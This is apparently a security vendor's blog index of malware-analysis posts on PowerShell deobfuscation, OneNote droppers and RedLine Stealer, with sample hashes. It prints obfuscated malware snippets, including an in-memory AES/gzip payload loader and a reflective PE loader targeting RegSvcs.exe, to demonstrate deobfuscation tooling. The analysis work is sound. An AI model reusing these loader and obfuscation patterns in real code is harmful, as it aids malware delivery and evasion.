Powershell – Cerbero Blog

Extreme PowerShell Obfuscation

We recently stumbled upon an old article by Daisuke Mutaguchi explaining an extreme technique for PowerShell obfuscation. The article is in Japanese, so you may have to use Google translate.

Here’s the final example provided by the author of the article:

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];
"${"}${.}${[}+${"}${)}${@}+${"}${+}${=}${+}+${"}${+}${=}${&}+${"}${+}${=}${&}+${"}${+}${+}${+}+${"}${[}${[}+${"}${.}${@}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${&}+${"}${+}${=}${=}+${"}${.}${.}+${"}${.}${[}|${;}"|&${;};

Yes, this is valid PowerShell.

Although there are limits to static deobfuscation, we decided to see what can be done about this with the new release of our PowerShell Beautifier package.

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PowerShell Malware with x64 Shellcode

This malware gives us a chance to see the recently introduced Silicon Shellcode Emulator in action.

SHA256: 8CF1E49C74FB05DE954A6B70281F47E3CBD021108B0EE11F4A59667FF28BFEE9

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OneNote Malware With ISO File

We recently stumbled upon this tweet by @Cryptolaemus1 about a malicious OneNote document with an embedded ISO file. Because of our recently released ISO Format package, we thought it would be interesting to analyze this malware sample with Cerbero Suite.

SHA256: 2B0B2A15F00C6EED533C70E89001248A0F2BA6FAE5102E1443D7451A59023516

The unidentified embedded object in the OneNote document is an ISO file.

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Reversing Complex PowerShell Malware

In this post we’re going to analyze a multi-stage PowerShell malware, which gives us an opportunity to use our commercial PowerShell Beautifier package and its capability to replace variables.

Sample SHA2-256: 2840D561ED4F949D7D1DADD626E594B9430DEEB399DB5FF53FC0BB1AD30552AA

Interestingly, the malicious script is detected by only 6 out of 58 engines on VirusTotal.

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PowerShell Beautifier 2.0 Package

We have released version 2.0 of our commercial PowerShell Beautifier package. The new release adds the option to remove unused variables.

For example, this is a snippet of a malicious script:

$T = 'Get'
$M = $T + 'Method'
$I = 'Invoke'
$T = $T + 'Type'
$L = 'Load'
$Q0 = [Reflection.Assembly]
$B = $Q0::$L($MyS)
$B = $B.$T('NewPE2.PE')
$B = $B.$M('Execute')

$Ub = 'C:\Windows\Microsoft'
$z = $Ub + '.NET\Framewor'
$VT = $z + 'k\v4.0.30'
$XQ = $VT + '319\RegSvcs.exe'
$B = $B.$I($null,[object[]] ($XQ,$serv))

With both variable replacement and removal of unused variables enabled it becomes:

$load_result = [Reflection.Assembly]::Load($x_result)
$get_type_result = $load_result.GetType('NewPE2.PE')
$get_method_result = $get_type_result.GetMethod('Execute')
$invoke_result = $get_method_result.Invoke($null, [object[]]('C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe', $x_result_2))

RedLine Stealer Dropper

An interesting sample containing a number of different obfuscation techniques. In this article we analyze the dropper in detail and reach the final stage.

SHA256: 0B93B5287841CEF2C6B2F2C3221C59FFD61BF772CD0D8B2BDAB9DADEB570C7A6

The first file we encounter is a OneNote document. If the “OneNote Format” package is installed, all files are automatically extracted.

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PowerShell Beautifier Package

PowerShell code is often seen in malware. To help the analysis of such code we have just released the “PowerShell Beautifier” package. The package is available to all commercial licenses of Cerbero Suite Advanced.

The package features a complete parser for the PowerShell language and has many deobfuscation capabilities. If your organization is interested in integrating our PowerShell beautifier in a cloud service, please contact us.

The beautifier can be invoked as an action: Ctrl+R -> PowerShell -> PowerShell Beautifier.

Let’s look at an example of obfuscated PowerShell code:

$mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join 
'')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if 
($jBqHb.StartsWith(':: ')) {  $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = 
New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = 
[System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = 
[System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 
'')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 
'')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = 
$QTfFw.TransformFinalBlock($AKzOG, 0, 
$AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object 
System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object 
System.IO.MemoryStream;$wRtOX = New-Object 
System.IO.Compression.GZipStream($xVFCH, 
[IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose
();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = 
[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = 
$VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))

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